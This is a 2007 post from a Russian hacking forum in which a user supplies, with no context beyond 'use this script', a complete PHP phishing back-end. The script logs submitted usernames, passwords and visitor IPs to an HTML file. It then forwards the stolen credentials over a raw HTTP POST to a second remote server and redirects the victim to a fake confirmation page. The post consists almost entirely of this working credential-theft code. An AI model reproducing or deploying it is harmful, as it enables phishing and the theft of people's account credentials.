
29.08.2007, 10:43
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Используй такой скрипт:
PHP код:
<?php
// Удалённый серв
define("REMOTE_HOST", "somehost.somedomain");
// Удалённый скрипт (идентичный данному, только на другом сервере)
define("REMOTE_RESOURCE", "blablabla.php");
// Порт - по умолчанию стандарт для HTTP
define("REMOTE_PORT", 80);
$file = "logs.html"; // Имя лога
$date = date("d.m.Y H:i"); // Дата записи
// Инициализация переменной с юзером
$user = "";
if (isset($_POST["username"])) $user = strval($_POST["username"]);
// Инициализация переменно с пассом
$pass = "";
if (isset($_POST["password"])) $pass = strval($_POST["password"]);
// Айпишник юзера
$ip = strval($_SERVER["REMOTE_ADDR"]);
// Форматируем данные для записи
$entry = "<br>----------<br><br>\n";
$entry .= sprintf("Date: %s<br>\n", $date);
$entry .= sprintf("Username: %s<br>\n", $user);
$entry .= sprintf("Password: %s<br>\n", $pass);
$entry .= sprintf("IP: %s<br>\n", $ip);
$fp = fopen($file, "a+"); // Открытие файла
if (!$fp) die("Can't perform operation!"); // Ошибочка
if (!fwrite($fp, $entry)) die("Can't perform operation!"); // Запись
fclose($fp); // Закрытие
// Если в передаваемых переменных отсутствует nosend или
// она не равна true, то вызываем отправку на удалённый сервер.
// Это нам позволит избежать замкнутой цепочки
if (!isset($_POST["nosend"]) || $_POST["nosend"] != "true") {
// Тело запроса
$query = sprintf("username=%s&password=%s&nosend=true", $user, $pass);
// Заголовки запроса + тело
$send = sprintf("POST %s HTTP/1.1\r\n", REMOTE_RESOURCE);
$send .= sprintf("Host: %s\r\n", REMOTE_HOST);
$send .= "User-Agent: DaMaGeLaB Crawler\r\n";
$send .= "Accept: */*\r\n";
$send .= "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n";
$send .= "Pragma: no-cache";
$send .= sprintf("Content-Length: %d", strlen($query));
$send .= "Connection: Close\r\n\r\n";
$send .= $query;
// Соединяемся
$socket = fsockopen(REMOTE_HOST, REMOTE_PORT, $errno, $errstr, 60);
if (!$socket) die("Can't perform operation!");
// Делаем POST запрос
$ret = fwrite($socket, $send);
if (!$ret) die("Can't perform operation!");
// Читаем ответ
$buffer = "";
while (!feof($socket)) {
$buffer .= fgets($socket, 1024);
}
fclose($socket);
// Парсим на заголовки и тело
list($headers, $content) = preg_split("/\r\n\r\n/", $buffer, 2);
// Если пришла какая-то лажа, то выход
if (strlen($content) <= 0 || strlen($headers) <= 0)
die("Send failed. Responce is not reqular!");
// Получаем код ответа из заголовков
$code = intval(substr($headers, 9, 3));
if ($code != 200) die("Send failed. Responce code is not 200!");
}
header("Location: confirmation.html"); // Перенаправление
?>
Последний раз редактировалось groundhog; 29.08.2007 в 11:07..
|
|
|